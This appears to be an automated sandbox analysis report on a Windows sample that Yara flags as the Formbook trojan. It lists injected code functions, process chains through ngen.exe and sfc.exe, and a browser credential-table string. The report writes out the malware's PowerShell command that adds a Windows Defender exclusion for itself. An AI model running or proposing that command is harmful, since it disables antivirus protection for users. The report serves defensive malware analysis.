Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573ADE0 5_2_0573ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575FDC0 5_2_0575FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05758DBF 5_2_05758DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B9C32 5_2_057B9C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740C00 5_2_05740C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05730CF2 5_2_05730CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FFCF2 5_2_057FFCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057E0CB5 5_2_057E0CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B4F40 5_2_057B4F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05760F30 5_2_05760F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05782F28 5_2_05782F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FFF09 5_2_057FFF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05732FC8 5_2_05732FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FFFB1 5_2_057FFFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05741F92 5_2_05741F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740E59 5_2_05740E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FEE26 5_2_057FEE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FEEDB 5_2_057FEEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05749EB0 5_2_05749EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05752E90 5_2_05752E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FCE93 5_2_057FCE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05756962 5_2_05756962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05749950 5_2_05749950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575B950 5_2_0575B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0580A9A6 5_2_0580A9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057429A0 5_2_057429A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05742840 5_2_05742840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574A840 5_2_0574A840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AD800 5_2_057AD800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576E8F0 5_2_0576E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057438E0 5_2_057438E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057268B8 5_2_057268B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FFB76 5_2_057FFB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FAB40 5_2_057FAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0577DBF9 5_2_0577DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F6BD7 5_2_057F6BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575FB80 5_2_0575FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B3A6C 5_2_057B3A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FFA49 5_2_057FFA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F7A46 5_2_057F7A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057EDAC6 5_2_057EDAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DDAAC 5_2_057DDAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05785AA0 5_2_05785AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573EA80 5_2_0573EA80
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326132D 12_2_0326132D
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0319D34C 12_2_0319D34C
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326A352 12_2_0326A352
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031F739A 12_2_031F739A
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_032703E6 12_2_032703E6
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031BE3F0 12_2_031BE3F0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03250274 12_2_03250274
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B52A0 12_2_031B52A0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_032512ED 12_2_032512ED
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031CB2C0 12_2_031CB2C0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031CD2F0 12_2_031CD2F0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031A0100 12_2_031A0100
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0324A118 12_2_0324A118
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0327B16B 12_2_0327B16B
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0319F172 12_2_0319F172
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E516C 12_2_031E516C
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_032701AA 12_2_032701AA
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031BB1B0 12_2_031BB1B0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_032681CC 12_2_032681CC
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326F0E0 12_2_0326F0E0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_032670E9 12_2_032670E9
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B70C0 12_2_031B70C0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0325F0CC 12_2_0325F0CC
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031D4750 12_2_031D4750
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B0770 12_2_031B0770
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326F7B0 12_2_0326F7B0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031AC7C0 12_2_031AC7C0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_032616CC 12_2_032616CC
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031CC6E0 12_2_031CC6E0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B0535 12_2_031B0535
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03267571 12_2_03267571
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0324D5B0 12_2_0324D5B0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03270591 12_2_03270591
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326F43F 12_2_0326F43F
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03262446 12_2_03262446
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031A1460 12_2_031A1460
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0325E4F6 12_2_0325E4F6
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326FB76 12_2_0326FB76
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326AB40 12_2_0326AB40
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031CFB80 12_2_031CFB80
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03225BF0 12_2_03225BF0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031EDBF9 12_2_031EDBF9
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03266BD7 12_2_03266BD7
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03223A6C 12_2_03223A6C
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03267A46 12_2_03267A46
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326FA49 12_2_0326FA49
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0324DAAC 12_2_0324DAAC
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031AEA80 12_2_031AEA80
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031F5AA0 12_2_031F5AA0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0325DAC6 12_2_0325DAC6
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B9950 12_2_031B9950
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031CB950 12_2_031CB950
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031C6962 12_2_031C6962
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0327A9A6 12_2_0327A9A6
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B29A0 12_2_031B29A0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0321D800 12_2_0321D800
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B2840 12_2_031B2840
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031BA840 12_2_031BA840
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031968B8 12_2_031968B8
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031DE8F0 12_2_031DE8F0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B38E0 12_2_031B38E0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031D0F30 12_2_031D0F30
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326FF09 12_2_0326FF09
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031F2F28 12_2_031F2F28
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03224F40 12_2_03224F40
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B1F92 12_2_031B1F92
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326FFB1 12_2_0326FFB1
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031A2FC8 12_2_031A2FC8
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326EE26 12_2_0326EE26
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B0E59 12_2_031B0E59
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031C2E90 12_2_031C2E90
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B9EB0 12_2_031B9EB0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326CE93 12_2_0326CE93
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326EEDB 12_2_0326EEDB
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031BAD00 12_2_031BAD00
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03267D73 12_2_03267D73
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B3D40 12_2_031B3D40
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03261D5A 12_2_03261D5A
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031C8DBF 12_2_031C8DBF
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031CFDC0 12_2_031CFDC0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031AADE0 12_2_031AADE0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03229C32 12_2_03229C32
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031B0C00 12_2_031B0C00
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_03250CB5 12_2_03250CB5
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_0326FCF2 12_2_0326FCF2
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031A0CF2 12_2_031A0CF2
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A91330 12_2_02A91330
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A8104D 12_2_02A8104D
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A8C780 12_2_02A8C780
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A8C560 12_2_02A8C560
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A8A800 12_2_02A8A800
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A92E60 12_2_02A92E60
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02AA9D20 12_2_02AA9D20
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\sfc.exe Code function: String function: 0321EA12 appears 86 times
Source: C:\Windows\SysWOW64\sfc.exe Code function: String function: 0322F290 appears 103 times
Source: C:\Windows\SysWOW64\sfc.exe Code function: String function: 031F7E54 appears 88 times
Source: C:\Windows\SysWOW64\sfc.exe Code function: String function: 0319B970 appears 250 times
Source: C:\Windows\SysWOW64\sfc.exe Code function: String function: 031E5130 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: String function: 057BF290 appears 103 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: String function: 057AEA12 appears 85 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: String function: 05775130 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: String function: 05787E54 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: String function: 0572B970 appears 250 times
One or more processes crash
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2060 -s 1572
PE file does not import any functions
Source: NdYuOgHbM9.exe Static PE information: No import functions for PE file found
Sample file is different than original file name gathered from version info
Source: NdYuOgHbM9.exe, 00000000.00000000.1607901812.000001EF38C7A000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameUtedazo8 vs NdYuOgHbM9.exe
Source: NdYuOgHbM9.exe, 00000000.00000002.1806926879.000001EF53158000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamePowerShell.EXE.MUIj% vs NdYuOgHbM9.exe
Source: NdYuOgHbM9.exe Binary or memory string: OriginalFilenameUtedazo8 vs NdYuOgHbM9.exe
Yara signature match
Source: 5.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 5.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.4092649802.0000000002F30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.4091718758.0000000002A80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.1847525772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.4092708936.0000000002F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.1847829194.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.4094582069.0000000005760000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.1849163774.0000000005B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.4092694801.00000000027B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: NdYuOgHbM9.exe, --------.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winEXE@17/11@15/14
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2060
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5964:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3548:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dlbw15ex.j3e.ps1 Jump to behavior
Source: NdYuOgHbM9.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: NdYuOgHbM9.exe Static file information: TRID: Win64 Executable Console Net Framework (206006/5) 48.58%
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: sfc.exe, 0000000C.00000002.4091957268.0000000002D7A000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 0000000C.00000003.2023692361.0000000002D59000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 0000000C.00000003.2023799863.0000000002D7A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: NdYuOgHbM9.exe ReversingLabs: Detection: 42%
Source: NdYuOgHbM9.exe Virustotal: Detection: 39%
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe File read: C:\Users\user\Desktop\NdYuOgHbM9.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\NdYuOgHbM9.exe "C:\Users\user\Desktop\NdYuOgHbM9.exe"
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NdYuOgHbM9.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\System32\notepad.exe "C:\Windows\System32\notepad.exe"
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2060 -s 1572
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe Process created: C:\Windows\SysWOW64\sfc.exe "C:\Windows\SysWOW64\sfc.exe"
Source: C:\Windows\SysWOW64\sfc.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NdYuOgHbM9.exe" -Force Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\System32\notepad.exe "C:\Windows\System32\notepad.exe" Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe Process created: C:\Windows\SysWOW64\sfc.exe "C:\Windows\SysWOW64\sfc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
